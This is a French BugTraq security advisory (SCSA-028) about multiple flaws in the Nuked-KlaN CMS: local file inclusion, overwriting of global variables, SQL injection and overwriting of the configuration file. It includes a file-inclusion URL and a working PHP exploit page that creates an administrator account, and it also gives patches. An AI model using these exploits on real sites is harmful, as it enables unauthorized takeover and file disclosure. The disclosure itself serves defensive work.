BugTraq in French
[SCSA-028] Nuked-KlaN multiples vulnérabilités Apr 17 2004 11:04AM
advisory security-corporation com
=================================================
Security Corporation Security Advisory [SCSA-028]

Nuked-KlaN multiples vulnérabilités
=================================================

PROGRAM: Nuked-KlaN
HOMEPAGE: http://www.nuked-klan.org
VERSIONS VULNERABLE : b1.4, b1.5, SP2
RISQUE: MOYEN/ELEVE
IMPACT: Ecrasement du fichier de configuration
Inclusions de fichiers internes
Redéfinitions des variables globales

DATE DE SORTIE: 2004-04-16

=================================================
TABLE DES MATIÈRES
=================================================

1..........................................................DESCRIPTION
2..............................................................DETAILS
3.............................................................EXPLOITS
4............................................................SOLUTIONS
5......................................................RECOMMANDATIONS
6..................................................DISCLOSURE TIMELINE
7..............................................................CREDITS
8........................................................AVERTISSEMENT
9...........................................................REFERENCES
10........................................................COMMENTAIRES

1. DESCRIPTION
=================================================

Nuked-KlaN est un outil dynamique pour construire rapidement son site PHP (CMS).
Il contient une partie membres, et on peut facilement y rajouter des
modules (bien qu'en contenant déjà beaucoup).

Plus de détails sur : http://www.nuked-klan.org

2. DETAILS
=================================================

Au début du fichier index.php, on voit que le fichier nuked.php est inclut :
----------------------
include ("nuked.php");
----------------------
Dans ce fichier nuked.php, on voit les lignes :
---------------------------------------------------
[...]
include ("conf.inc.php");
[...]
if ($user_langue == ""){$language=$nuked[langue];}
else {$language=$user_langue;}

include ("lang/$language");
[...]
---------------------------------------------------
Un fichier "lang/$language" est donc inclut.
Cette variable peut être modifiée par n'importe qui, par le biais de la
variable $user_langue.
On pourra donc inclure n'importe quel fichier du disque dur et ce dans les
versions b1.5 et moins.

Dans cette version b1.5 uniquement se trouvent plusieurs autres failles.
Dans le fichier globals.php se trouvent les lignes suivantes :
-------------------------------
[...]
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
[...]
-------------------------------
La fonction nk_globals(), elle, est située dans le fichier nuked.php :
---------------------------------------------------
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
$GLOBALS[$key] = $val;
}
}
}
---------------------------------------------------
Cette fonction va donc créer des variables globales dont les noms et les
valeurs se trouvent dans la variable $table.
Il se fait donc qu'ici les tableaux sont les variables passées en GET, POST,
COOKIE et les variables SERVER.
L'exécution de ces lignes dans globals.php a donc comme consèquence de
transformer toutes les variables GET POST COOKIE
en variables globales. Le problème vient du fait que cette fonction ne tiens
pas compte du fait que ces variables
sont peut-être déjà définies en global quelque part dans le script : elle
écrase les anciennes valeurs.
Si on arrive donc à inclure le fichier globals.php après la définition des
variables de configuration (définies dans
conf.inc.php) dans un fichier où est inclut nuked.php, on pourra alors les
redéfinir à partir de l'endroit où
est inclut globals.php dans le script et peut-être en faire quelque chose.
Il se fait que c'est justement possible dans le fichier index.php où on voit
par exemple le code :
-------------------------------------------------------
[...]
if($page!=""){$im_file="$page";}else{$im_file="index";}
}

if (is_file("modules/$file/$im_file.php") ){
include("modules/$file/$im_file.php");
}else{
include("modules/404/index.php");
}
[...]
-------------------------------------------------------
qui pourra inclure globals.php grâce à une url du type :
http://[target]/index.php?file=..&page=globals
On pourra alors redéfinir les variables de configuration dans tout le code qui
suit.
Ce dernier se résume à peu de choses : la fonction footer().
Mais globals.php peut aussi être inclut grâce à la première faille vue plus
haut, par exemple avec l'url :
http://[target]/index.php?user_langue=../globals.php
ce qui est beaucoup plus grave car cela pourrait permettre de redéfinir les
variables de configuration dans n'importe
quel module ! Par exemple dans le module Suggest (modules/Suggest/index.php),
on voit :
------------------------------------------------------------------------
--------
-------------------------------
[...]
function add_sug($data)
{
global $user, $module, $nuked;

opentable();

include("modules/Suggest/modules/$module.php");
$date=time();
$content=make_array($data);
$sql=mysql_query("INSERT INTO $nuked[prefix]"._suggest." VALUES
('','$module','$user[0]','$content','$date')");
echo"

"._YOURSUGGEST."
"._THXPART."

";
redirect("index.php?file=$module",2);

closetable();
}
[...]
------------------------------------------------------------------------
--------
-------------------------------
Ainsi en changeant la variable $nuked[prefix], on peut insérer n'importe quel
enregistrement dans n'importe quelle table.

Un dernier problème dans la version b1.5 est le fichier update.php.
On y trouve le code :
------------------------------------------------------------------------
--------
--
<?

[...]

include ("globals.php");

[...]

function install()
{
global $langue;
include ("lang/$langue");

[...]
}
[...]

function edit_config($op)
{
global $langue,$langname;

include ("lang/$langue");

[...]
}
[...]

function update_config($vars)
{
[...]
include ("lang/$vars[langue]");
[...]
$content = "<?php // Generated: $d\n"
[...]
."\$global['db_host'] = '$vars[db_host]';\n"
."\$global['db_user'] = '$vars[db_user]';\n"
."\$global['db_pass'] = '$vars[db_pass]';\n"
."\$global['db_name'] = '$vars[db_name]';\n"
."\$global['type'] = '$vars[type]';\n"
."\$nuked['prefix'] = \"$vars[prefix]\";\n"
[...]
."\$nuked['url'] = '$vars[url]';\n"
[...]
.'?'.'>';

$fp = fopen('conf.inc.php', w);
if (!$fp) die (sprintf('Erreur File Open','conf.inc.php','conf.inc.php'));
fwrite($fp, $content);
fclose($fp);
[...]
}

[...]

switch ($action)
{
[...]
case"edit_config":
edit_config($_GET['op']);
break;

case"update_config":
update_config($_POST);
break;

case"install":
install();
break;
[...]
}

?>
------------------------------------------------------------------------
--------
--
Ce fichier peut lui aussi inclure n'importe quel fichier local grâce à la
variable $langue.

De plus la fonction update_config() peut servir à écraser le fichier de
configuration, mettant le site down.

Toutes ces failles fonctionnent quelle que soit la position de register_globals
à cause de ce fameux fichier globals.php.

3. EXPLOITS
=================================================

- Inclusion de fichiers locaux :

http://[target]/index.php?user_langue=../../../../../file/to/view

- Création d'un admin (Injection SQL + redéfinition de globales) :

------------------------------------------------------------------------
--------
--------------------------------------------
<html>
<head>
<title>Nuked-KlaN b1.5 Create Admin</title>
</head>
<body>
<?
function ascii_sql($str) {
for ($i=0;$i < strlen($str);$i++) {
if ($i == strlen($str)-1){
$ascii_char.=ord(substr($str,$i));
}else{
$ascii_char.=ord(substr($str,$i)).',';
}
}
return $ascii_char;
}

if (isset($_POST["submit"])){

echo "<script>url='".$target."/index.php?
file=Suggest&op=add_sug&user_langue=../globals.php&nuked[prefix]=nuked_u
sers%20
(id,pseudo,pass,niveau)%20VALUES%20(12345,char(".ascii_sql($_POST
["pseudo"])."),md5(char(".ascii_sql($_POST
["pass"]).")),9)/*&module=Gallery';window.open(url);</script>";
echo "<br><br><br><br>Admin should have been created.";

}else{
?>

<form method="POST" action="<? echo $PHP_SELF; ?>">
<b>Target :</b> <input type="text" name="target" value="http://"><br>
<b>Admin Nick :</b> <input type="text" name="pseudo"><br>
<b>Admin Pass :</b> <input type="text" name="pass"><br>
<input type="submit" name="submit" value="Create Admin">
</form>
<?
}
?>
</body>
</html>
------------------------------------------------------------------------
--------
--------------------------------------------
4. SOLUTIONS
=================================================

Un patch est disponible sur : http://www.phpsecure.info

Le créateur a été averti et a publié rapidement un patch.

5. RECOMMANDATIONS
=================================================

Dans globals.php, il faut remplacer les lignes :
-------------------------------
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
-------------------------------
par :
---------------------------------------
if (!get_ini("register_globals")){
nk_globals('HTTP_GET_VARS');
nk_globals('HTTP_POST_VARS');
nk_globals('HTTP_COOKIE_VARS');
nk_globals('HTTP_SERVER_VARS');
}
---------------------------------------
Ne faisaint exécuter nk_globals() que si register_globals=OFF.

Et dans nuked.php, remplacer les lignes :
----------------------------------------------------
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
$GLOBALS[$key] = $val;
}
}
}
----------------------------------------------------
par:
------------------------------------------------------------------------
-----
function nk_globals($table) {
if (is_array($GLOBALS[$table])) {
reset($GLOBALS[$table]);
while (list($key, $val) = each($GLOBALS[$table])) {
if (!isset($GLOBALS[$key])){ $GLOBALS[$key] = $val; }
}
}
}
------------------------------------------------------------------------
-----
Ce qui ne donne une valeur à cette variable que si elle n'en a pas déjà.

Et après les lignes :
--------------------------------------------------
if ($user_langue == ""){$language=$nuked[langue];}
else {$language=$user_langue;}
--------------------------------------------------
ajouter les lignes :
-----------------------------------------------------------------------
if ( eregi("\.\.",$theme) || eregi("\.\.",$page) || eregi("\.\.",$file)
|| eregi("\0",$theme) || eregi("\0",$page) || eregi("\0",$file) ||
eregi("\.\.",$user_langue) || !file_exists("lang/$language") ){
die("What are you trying to do ?");
}
-----------------------------------------------------------------------
Ce qui empêche toute mauvaise inclusion de fichier.

6. DISCLOSURE TIMELINE
=================================================

25/02/2003 Vulnerability discovered
01/03/2003 Vendor notified
20/03/2004 Vendor response
20/03/2004 Security Corporation clients notified
20/03/2004 Started e-mail discussions
06/04/2004 Last e-mail received
16/04/2004 Public disclosure

7. CREDITS
=================================================

Découvert par Germain Randaxhe aka frog-m@n <frog-man (at) security-corporation (dot) com [email concealed]>
de
http://www.phpsecure.info

8. AVERTISSEMENT
=================================================

Les informations contenues dans ce document sont données à titre
purement informatif. Nous dégageons notre responsabilité de tout
dommage, de quelque nature que ce soit, résultant directement ou
indirectement de l'utilisation ou de l'impossibilité d'utiliser
les informations contenues dans ce document ou dans les
sites joignables au travers des liens hypertextes y existants.

9. REFERENCES
=================================================

- Original Version:
http://www.security-corporation.com/advisories-028.html

- Version Française:
http://www.security-corporation.com/index.php?id=advisories&a=028-FR

10. COMMENTAIRES
=================================================

Toutes suggestions, mise à jours, commentaires sont à envoyer à :

Security Corporation
http://www.security-corporation.com
advisory (at) security-corporation (dot) com [email concealed]

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus